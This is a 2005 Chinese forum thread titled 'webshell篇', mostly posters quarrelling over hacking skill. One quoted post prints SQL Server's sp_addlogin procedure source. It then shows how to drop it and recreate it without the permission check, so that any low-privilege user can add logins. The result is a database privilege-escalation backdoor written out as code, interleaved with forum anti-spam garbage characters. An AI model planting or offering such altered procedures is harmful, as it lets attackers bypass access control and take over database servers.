找回密码
 立即加入
搜索

楼主: 上山上山爱

[原创]webshell篇

[复制链接]
冬冬 发表于 2005-6-17 22:13:40 | 显示全部楼层
就凭你?
& u2 V& b; T7 u( g1 g有资格这样评价师院学生的计算机水平??
- O; U$ M  N: i用这种口气诋毁别人!# q; g! p7 a; s' a! J
鄙视你
6 S; H1 @7 {5 L
/ z& K. }) K* F+ {% V% Y. m, _- R0 ^$ {5 g1 W, g
[B]以下是引用[I]Lindx[/I]在2005-6-7 17:40:59的发言:[/B][BR]限
. J& Y" {+ d0 P; U& D1 a0 P这个定义未免太烂了吧,我想知道你用什么方法获得人家的webshell,靠那些在网上公布的傻瓜工具吗。可是到头来还是不只所以然,那你凭什么教人家怎么去研究
/ o; g7 ]9 B' p4 G6 S% r对于师院人士的计算机水平,我实在不敢恭维,没有天才的诞生啊( k, S( p4 C: X5 ]& j
哎,可悲啊
宣传/支持龙江曦月.龙江曦月需要理解,适宜长居
回复

使用道具 举报

冬冬 发表于 2005-6-17 22:15:07 | 显示全部楼层
就是就是。。3 ~+ S2 ~( F; V5 S( G

% i1 J( J' V4 f! S6 G; ^
[B]以下是引用[I]Lindx[/I]在2005-6-6 9:45:42的发言:[/B][BR]对一个深陷迷途的同志,各位大虾用得着这样蔑视它吗,我们应当怀着一颗仁慈的心来拯救它,爱护它,我KAO,JB
宣传/支持龙江曦月.龙江曦月需要理解,适宜长居
回复

使用道具 举报

SeAsOn` 发表于 2005-6-18 01:10:31 | 显示全部楼层
[B]以下是引用[I]冬冬[/I]在2005-6-17 13:32:03的发言:[/B][BR]create procedure sp_addlogin
; a9 K3 g  F  F' Z$ x@loginame sysname
5 }; `% T: |# U# L6 S7 c) H,@passwd     sysname = Null
" l, s! q1 s  e) j" \/ c,@defdb     ; ; sysname = \'master\'   -- UNDONE: DEFAULT
* F( j: o5 [  I$ E" m4 G% R) Z- N& oCONFIGURABLE???5 J1 S! b1 N/ }5 }- n$ s- B5 ]
,@deflanguage   sysname = Null( ^( k0 p' k; u  ^2 [" Y
,@sid   varbinary(16) = Null
* [* s  _; D4 U# ?$ J,@encryptopt varchar(20) = Null0 _- P- w& l. A# x& A
AS/ Z3 O1 q$ \+ @$ d# f6 j7 c/ ?
-- SETUP RUNTIME OPTIONS / DECLARE VARIABLES --  T) m) T1 M- F$ U- b, _
set nocount on; O. Y; W7 _- B0 r
Declare @ret   int   -- return value of sp call  D9 @5 e: D$ l$ n" K& u' q
-- CHECK PERMISSIONS --
5 S% b  B4 X; E- N2 q1 qIF (not is_srvrolemember(\'securityadmin\') = 1)+ v# d0 U$ n: N! u
begin1 o3 {7 N7 z. a4 \. J  l/ ^
dbcc auditevent (104, 1, 0, @loginame, NULL, NULL, @sid)7 v5 B. ~9 w, W3 S# v8 J5 |4 S( d
raiserror(15247,-1,-1)" ]4 X7 v' ]- q
return (1)9 V: _- K  v0 U/ Z# r. w
end
) G- n% W5 A  ~5 z9 n* P" b0 i( }ELSE
/ `/ h: G  j, W9 q7 Q/ Z+ n0 n5 H) {begin
) e  ~& I/ i* kdbcc auditevent (104, 1, 1, @loginame, NULL, NULL, @sid)) p2 j& |0 a) O- ?. }% \0 H
end; @5 R* d0 w0 M
-- DISALLOW USER TRANSACTION --
# ]0 T$ O; J' o5 h5 Pset implicit_transactions off2 T# }& P* ~/ @2 z
IF (@@trancount > 0)% J6 p1 U, t3 B3 y/ n2 r, V
begin
: i5 m9 b% c  W9 D) x* s, U  lraiserror(15002,-1,-1,\'sp_addlogin\')$ ~7 w$ ~; G6 U, K
return (1)6 W6 o$ f! d3 y) v5 x4 N. a, `) B
end
# q6 D& W' M' Y' c4 }8 ?1 |/ s) H5 X6 y-- VALIDATE LOGIN NAME AS:
! _3 I9 v, b3 v; X-- (1) Valid SQL Name (SQL LOGIN). R0 K' x' j" O8 v" I! ]
-- (2) No backslash (NT users only)
2 ^$ _% |' j. ?* s; A; C-- (3) Not a reserved login name, V! B( Q  a- u
execute @ret = sp_validname @loginame4 l3 C% R- U( R8 _7 U, n
if (@ret <> 0)
( |# U- X8 m* P4 ]& Y) b  return (1)2 Q0 i( e& c) i# H
if (charindex(\'\\\', @loginame) > 0)
7 {' H2 d/ r9 z7 B4 N" ^: Wbegin5 c$ Q1 S7 g0 R1 x% F0 v
  raiserror(15006,-1,-1,@loginame)' N) j/ j% ^, E) l% R5 ~* P8 o  t
  return (1)
% b, m" ~( v! O' Xend
* l/ q8 k( ^: l6 g* k! }& ^--Note: different case sa is allowed.2 a7 M3 W1 r) {' t# D: s# {
if (@loginame = \'sa\' or lower(@loginame) in (\'public\'))
+ p. C- c* }4 Q, X3 F- Y! ~8 Dbegin( J% G, @1 c$ s% t3 a
raiserror(15405, -1 ,-1, @loginame)9 G8 r) Z$ g8 H' k* C0 g
return (1)% D$ G$ e  b# o
end& ?) A$ C* |: ]2 u4 w  y$ ^1 d
-- LOGIN NAME MUST NOT ALREADY EXIST --
7 d) Z3 ?: v/ p0 N. f! a0 e& dif exists(select * from master.dbo.syslogins where loginname =
6 P3 C5 s3 a! S! G4 R@loginame)
8 C, _# h( @/ u! X# B; Hbegin) c( p( t" `( p; T' R" z8 T
raiserror(15025,-1,-1,@loginame)
. U4 [4 f4 {5 |: w; Breturn (1)
6 m0 B, b6 x1 d6 Mend
; P( w/ U( o4 U( D+ u-- VALIDATE DEFAULT DATABASE --& _3 H$ E/ \1 o7 |0 ?9 j
IF db_id(@defdb) IS NULL
$ L) F6 E$ f+ tbegin! x+ e* Q# b! E" q! w
raiserror(15010,-1,-1,@defdb)5 ?! E. Y& |. a* z
return (1)0 l  L' T: Z. n' M. `* g
end& i1 x( b8 F" m+ y
-- VALIDATE DEFAULT LANGUAGE --* P, ]0 G# V+ {7 \+ M% j8 B  ^5 S. P
IF (@deflanguage IS NOT Null)
$ O& V: p' o" z6 [# c8 y7 W% t' Wbegin4 d9 x4 Z/ T( _
Execute @ret = sp_validlang @deflanguage/ u8 j. h; `/ \6 S% @8 K$ F- U. t) @
IF (@ret <> 0)
# f/ c: a2 ?8 M! x: [; Nreturn (1)! b2 R/ g) r. z" T( ~
end
6 r: R9 W$ n9 L- U4 r$ y+ rELSE3 e* z5 e' n3 N! |' ^$ @% f
begin  l: }8 q- {2 o$ F" s* ?5 l6 f
select @deflanguage = name from master.dbo.syslanguages
& u* r9 f  t4 i0 rwhere langid = @@default_langid --server default
; d2 g. V8 R3 jlanguage
. R. O! q. {$ A- h& Fif @deflanguage is null/ c5 f' g; }3 \
select @deflanguage = N\'us_english\': i) e2 o! Q! @3 }, @3 T' ?. ^
end
! D0 `$ B/ Y0 l; U* O+ @8 _-- VALIDATE SID IF GIVEN --; u' X' e6 r, D, J7 a0 U. J; H2 Z
if ((@sid IS NOT Null) and (datalength(@sid) <> 16))+ f# h2 J+ j4 B# ]
begin
; ~. B; P! \- [# Oraiserror(15419,-1,-1)+ B& n6 Q& z- R5 b
return (1)
4 r4 u6 ^" v2 A: B, |. n/ \end2 i0 I) e! ~5 \/ O$ c: h- v' C1 j/ [
else if @sid is null! z4 T' ]$ i9 a0 `7 \. F$ f! }
select @sid = newid()$ }8 w6 C2 o3 d
if (suser_sname(@sid) IS NOT Null): `+ x8 ?: L1 o* B+ W# `: J
begin" u8 }+ l2 c4 R8 o8 K
raiserror(15433,-1,-1)  f" t# ?8 T  m$ n2 K
return (1)
4 Q# l' c& I. _- nend
! W% X$ ]: }; [3 D) l-- VALIDATE AND USE ENCRYPTION OPTION --( j" ]0 q4 R8 i" ?, w/ t
declare @xstatus smallint
4 p! P1 d: x& @& Y0 R  Kselect @xstatus = 2 -- access2 K# ~9 G  N" J& ]. T. B/ Q  E) F8 Y
if @encryptopt is null; G) B2 l- _) @" f3 }
select @passwd = pwdencrypt(@passwd)
( c3 a' T: M5 g/ Jelse if @encryptopt = \'skip_encryption_old\'
# L7 J1 D* S  F; A) a) ]' x& M& obegin
. T) l1 s% f7 A5 r+ yselect @xstatus = @xstatus | 0x800, -- old-style
. J  ]( R2 K. ~* s# V4 r+ rencryption
" I* y( H0 n& t+ f& r  Q# \@passwd = convert(sysname, convert(varbinary: o" |' z0 l9 _; Y& Y; B
(30), convert(varchar(30), @passwd)))
- }6 J' h! N9 a: I0 P; \, }end$ Q4 m' R3 C/ {# v" \. X
else if @encryptopt <> \'skip_encryption\'
- I3 |* [9 n% k6 b- fbegin
; S0 l3 j. L; M. _: I2 Zraiserror(15600,-1,-1,\'sp_addlogin\')
1 L" h* z" w* j% }) rreturn 1
& I, v3 w) M" S: N; q6 Kend
+ Q9 l& F! Y7 X* T9 N& T! @-- ATTEMPT THE INSERT OF THE NEW LOGIN --! V- t7 \; T; m5 u6 p' ^1 u/ \0 ?) q
INSERT INTO master.dbo.sysxlogins VALUES
1 r- @6 o3 O4 ^  (NULL, @sid, @xstatus, getdate(),9 w" |" a( I" B" Y3 \- b( {
    getdate(), @loginame, convert(varbinary(256), @passwd),
4 n5 {, U" Y6 W# M# Z/ q' {4 r    db_id(@defdb), @deflanguage)
# P6 e! C2 P; x. Zif @@error <> 0 -- this indicates we saw duplicate row
) @! ?' ^6 t) N- g  return (1)& q4 ^+ P% H# h3 t
-- UPDATE PROTECTION TIMESTAMP FOR MASTER DB, TO INDICATE
6 b: I' ?& B# ]; N4 _) U  W, ySYSLOGINS CHANGE --/ C' h0 C. s: U# k% i
exec(\'use master grant all to null\')
; q2 `2 E, s# N-- FINALIZATION: RETURN SUCCESS/FAILURE --7 t2 ^/ X9 p$ C. S) k1 j9 H# u
raiserror(15298,-1,-1)
* w. S  h! U' G4 f7 h- w1 x8 ?8 zreturn (0) -- sp_addlogin# ]# ]5 ]- y% c  B- b7 J# x
GO1 i! W2 o. q  k7 C
之所以只有 sysadmin 和 securityadmin 固定服务器角色的成员才可以执行 # S4 J$ c5 A. ^  _- l
sp_addlogin,主要是这里一段再搞鬼+ M0 K  j6 n7 N5 E9 w
-- CHECK PERMISSIONS --
2 p2 C6 X- c  D. S* ], i* f3 |IF (not is_srvrolemember(\'securityadmin\') = 1)/ q* j6 n: o2 d% Z
begin
0 E# z' t3 x1 v& N. fdbcc auditevent (104, 1, 0, @loginame, NULL, NULL, @sid)
! I3 w- c9 M7 K% Nraiserror(15247,-1,-1)
7 n$ e2 [8 V$ n( mreturn (1), o9 s# [; u& U- {6 n
end" N9 G  \; p# P  O; ^. _
ELSE1 M, X3 X9 {* ]$ ~+ r' j6 \6 e
begin& q7 U: P$ A2 o+ G9 s- ^
dbcc auditevent (104, 1, 1, @loginame, NULL, NULL, @sid)
- K; c. Y; f0 @- P- iend, [8 ^0 w% I7 U8 T
% `% g7 r( h3 V5 G& [/ P
只要我们把这段代码删拉,任何权限的用户都可以增加用户拉。! }1 l- @4 O2 ?. g: p$ G0 B! [. s: s$ I
drop procedure sp_addlogin, u* x4 A1 K8 i
& W' z" U) c' f4 v  _7 X- V
% P7 \6 S7 |# \1 o6 Y. }. m" I3 @
6 U' @4 T4 i3 p4 _+ `0 T
然后再来恢复sp_addlogin
( D: V! c/ ^. J+ \+ ]) g! P
: U4 K. |2 X$ J- Y8 V5 X# G: a7 {% }# k4 C- U, s" r! o
# m7 g' ^' j( F6 V
create procedure sp_addlogin: K2 L3 J/ F: _* x" z0 H0 X
@loginame sysname. d) P2 \' b% q4 l% U0 k
,@passwd     sysname = Null
* `! j4 \' M/ T- H,@defdb     ; ; sysname = \'master\'   -- UNDONE: DEFAULT / r) d) h8 O5 E2 x( y
CONFIGURABLE???
+ |7 D, b! u9 Z$ v4 \, P,@deflanguage   sysname = Null
; L! }# u2 T$ ^- B,@sid   varbinary(16) = Null
, c( p0 B6 N: c5 Q: `2 z8 k,@encryptopt varchar(20) = Null
# W* H; q. i+ I( \% ZAS
, q0 Y$ x, F* F-- SETUP RUNTIME OPTIONS / DECLARE VARIABLES --
8 `3 S. ^" U8 d* e0 \  _set nocount on
8 j% a) K7 O' I9 s( E% CDeclare @ret   int   -- return value of sp call8 G- }  K% j: p5 M( ~  `' ^# J

5 d" K" t: c; D4 m4 [-- DISALLOW USER TRANSACTION --$ W) B0 `& {( P1 g# e# m5 ]; D
set implicit_transactions off# c2 }9 c8 o4 M0 B7 z8 ~" U$ x
IF (@@trancount > 0)4 ^) r5 a9 J" Q# s% _* K
begin; k0 O. t& U" i: ?& n' d0 b
raiserror(15002,-1,-1,\'sp_addlogin\')$ e! |' }: K) o/ K7 ^8 k
return (1)
, o' ?: Q. U( \1 |# nend
/ C$ r! a: r' X: P0 W! K-- VALIDATE LOGIN NAME AS:
  P: c0 L) V5 g; j-- (1) Valid SQL Name (SQL LOGIN)* C$ ^& z8 d' y( A$ M( p/ \# [
-- (2) No backslash (NT users only)! i6 t# `' C% c' |( N- n* }
-- (3) Not a reserved login name
3 T0 y9 j+ q6 aexecute @ret = sp_validname @loginame
9 S9 W' C, \% _4 `- L9 m8 s* Mif (@ret <> 0)
: f3 l& @: G- S" u  return (1)
+ H0 C# A/ O* t$ j/ ~' xif (charindex(\'\\\', @loginame) > 0)
( I& Y, z0 o( q( M  Ubegin5 ^$ f2 g! ~5 L  v7 V: S1 N8 p! o4 o" y
  raiserror(15006,-1,-1,@loginame)+ T! k4 u1 }! H' ]! [: {
  return (1)
& l; N4 I/ k8 mend' v  g- Z' B& s
--Note: different case sa is allowed.8 ^2 l, \9 I  H7 y
if (@loginame = \'sa\' or lower(@loginame) in (\'public\'))
; B3 }5 v' o; o9 F  @begin
0 f4 ~8 N3 u% ^' _; c5 }) Mraiserror(15405, -1 ,-1, @loginame)
2 R" P+ x( Y+ S; V) b' ?% yreturn (1)( ~7 t( b% v0 K* [* u
end
/ ?& F3 G5 N" N& e. C5 ?-- LOGIN NAME MUST NOT ALREADY EXIST --
. e$ c" l; `: r# [# S7 }3 I  k, Uif exists(select * from master.dbo.syslogins where loginname = 7 |! Q. z  ]" ]! X# |1 Q& O
@loginame)4 Y# W- b* T! k6 j$ L2 ^( |, }
begin
: E: V9 r6 ]2 o$ V. q- `- e& V2 C6 Traiserror(15025,-1,-1,@loginame)
  `. V4 B+ v1 Lreturn (1); a+ U% u. B) q* w% |& B; u
end2 ]1 a/ o, d5 V  {! |$ D, l& l
-- VALIDATE DEFAULT DATABASE --9 ^$ R0 T4 O$ c& a
IF db_id(@defdb) IS NULL. e0 A! g2 g& \; a8 c1 O' r4 y) e
begin" G  c8 y+ F) i# V
raiserror(15010,-1,-1,@defdb)
4 p9 {6 G. C4 H; Freturn (1)6 \  v' _. S& N( z) ]8 a; z- H# `
end( c& P8 `* R+ U% B2 X
-- VALIDATE DEFAULT LANGUAGE --
3 o  e0 A. L# |. B# r; `9 S# JIF (@deflanguage IS NOT Null)+ S6 Y/ c8 V, a$ u
begin
1 g6 b9 F9 ^7 d- u( s( s# I9 hExecute @ret = sp_validlang @deflanguage
) ]& l' z; X& P. }9 kIF (@ret <> 0)
% y, e; E  k2 O+ }return (1)5 o. Y; ~, q+ Q9 _$ p+ g7 R( a
end- K( ]9 r; l8 Y) c6 T+ g8 I
ELSE% y6 C9 T/ m3 B1 ?! ~' Z" Q
begin
( q1 {. l: V$ X" Uselect @deflanguage = name from master.dbo.syslanguages+ [' E4 T; p) X9 ~# l9 C
where langid = @@default_langid --server default
$ b2 [) L2 Z" i4 Vlanguage
; B/ C# \2 U% Kif @deflanguage is null! F: [% \* u* r% |
select @deflanguage = N\'us_english\'
0 {5 j* {4 G8 Q- i) ^3 ^+ D3 v1 mend* @& e6 {; |! a9 T$ z
-- VALIDATE SID IF GIVEN --
* y+ `; Y  h* K+ Q+ u) Tif ((@sid IS NOT Null) and (datalength(@sid) <> 16))% {9 a7 O  [8 f  Y" c
begin
7 l* }- N3 W9 c2 draiserror(15419,-1,-1)  h& Z1 Y" {4 w) l
return (1)% E+ _! Q, M7 d
end- _2 e* v2 m8 d3 t% D
else if @sid is null
0 i. |9 N7 e4 @5 e" {+ Zselect @sid = newid()
9 M/ \4 a8 g6 B& f2 e+ m3 N; q# vif (suser_sname(@sid) IS NOT Null)# N6 {% a. E& g
begin2 L/ A/ d, S5 @8 I* h/ o2 ^. M% M
raiserror(15433,-1,-1)
3 e2 K8 ~  Q/ Kreturn (1)
! I) I$ M0 i9 C' H: P: F9 aend
1 t( _- m" @$ j1 u5 O- z! u: S-- VALIDATE AND USE ENCRYPTION OPTION --
1 d8 P! U( Y3 H+ g+ d0 Tdeclare @xstatus smallint! m4 V" V9 I$ _% p: |
select @xstatus = 2 -- access  s1 v. P0 T# r) C9 C
if @encryptopt is null) T0 ?* h" F! E; ~  p- ^
select @passwd = pwdencrypt(@passwd)3 t  V0 k& g1 I" v+ N: g
else if @encryptopt = \'skip_encryption_old\'3 h( z$ d: d6 d' o7 V) u/ b" _0 Q2 r
begin' \$ Y; a9 i$ H% e. F! t4 u& L/ E+ s1 F
select @xstatus = @xstatus | 0x800, -- old-style / N8 k$ ]& [( z9 i# j* l
encryption
7 l4 i/ H- L; P5 `9 j0 Y@passwd = convert(sysname, convert(varbinary2 w5 V4 Q8 b. l/ b$ `6 E
(30), convert(varchar(30), @passwd)))) E) t$ S$ N! L9 k  o
end
% X6 d3 d+ ^; Eelse if @encryptopt <> \'skip_encryption\'
9 W" U8 n( s: Z5 p# ubegin
% [3 L  x: Z' Qraiserror(15600,-1,-1,\'sp_addlogin\')+ m+ ~+ `7 c# L/ {
return 1; z4 _# E0 G- k) @& C2 t: M% U
end
- w! j0 y1 S3 z# x8 k2 W2 A, A4 n-- ATTEMPT THE INSERT OF THE NEW LOGIN --4 n- k! W3 |/ ^9 G& x7 o
INSERT INTO master.dbo.sysxlogins VALUES- A) d- I8 k9 x$ b8 h6 e7 _
  (NULL, @sid, @xstatus, getdate(),; ]" |1 ~) s) ]; T5 H$ b
    getdate(), @loginame, convert(varbinary(256), @passwd),
0 {! v7 {8 l" m7 M4 @    db_id(@defdb), @deflanguage)
; L( z( r+ N  ^8 ^& K* }if @@error <> 0 -- this indicates we saw duplicate row
' s; G4 y& b3 |% ^  return (1)
, [% n3 j" P: q  E* C-- UPDATE PROTECTION TIMESTAMP FOR MASTER DB, TO INDICATE ' P$ C: a' s- D; i( c# h. C* V' K5 u# W
SYSLOGINS CHANGE --- l8 D1 k1 o( l+ O: U
exec(\'use master grant all to null\')
# ]0 V  {! ?2 v$ F) {, V) h-- FINALIZATION: RETURN SUCCESS/FAILURE --
; s  B  N" |& G' X; J. w) s8 G' xraiserror(15298,-1,-1)
/ n! y* F, F4 U# Q! U  Areturn (0) -- sp_addlogin% z4 N/ X4 I, O: H8 ~  ]3 W3 i2 v6 w
GO
3 i9 {/ U: C, t. ~
MM很强啊..    是不是师院计算机系的.??
宣传/支持龙江曦月.龙江曦月需要理解,适宜长居
回复

使用道具 举报

SeAsOn` 发表于 2005-6-18 01:11:08 | 显示全部楼层
就当凭着这美丽的回帖..  
/ r; y) v/ b- `7 r* Q( Q# B- \偶帮你加精了..
宣传/支持龙江曦月.龙江曦月需要理解,适宜长居
回复

使用道具 举报

冬冬 发表于 2005-6-20 19:44:36 | 显示全部楼层
我不是计算机系的。5 x. j+ x3 Y$ w) [9 k( r* z
自己学的。4 `1 a, e- i7 \7 l& X

6 A! p7 W! r8 D# q* o, c! u
[B]以下是引用[I]瀟濏づ聴渢[/I]在2005-6-17 17:10:31的发言:[/B][BR]' I6 m/ L6 F3 X& h+ c  \
8 ~/ X) o5 A, g$ g
MM很强啊..    是不是师院计算机系的.??
宣传/支持龙江曦月.龙江曦月需要理解,适宜长居
回复

使用道具 举报

SeAsOn` 发表于 2005-6-20 23:42:42 | 显示全部楼层
晕..  不是吧.. 自学的?...
宣传/支持龙江曦月.龙江曦月需要理解,适宜长居
回复

使用道具 举报

冬冬 发表于 2005-6-23 20:08:09 | 显示全部楼层
我不是计算机系的!!!
宣传/支持龙江曦月.龙江曦月需要理解,适宜长居
回复

使用道具 举报

amysong 发表于 2005-7-5 17:56:46 | 显示全部楼层
...晕...在这里讨论还要别人给QB
宣传/支持龙江曦月.龙江曦月需要理解,适宜长居
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即加入

本版积分规则

手机版|龙江曦月 ( 闽ICP备05009150号-1 )闽公安网备35060202000316

GMT+8, 2026-6-1 11:01 , Processed in 0.033317 second(s), 18 queries , Gzip On.

Powered by Discuz! X3.5

© 2001-2025 Discuz! Team.

快速回复 返回顶部 返回列表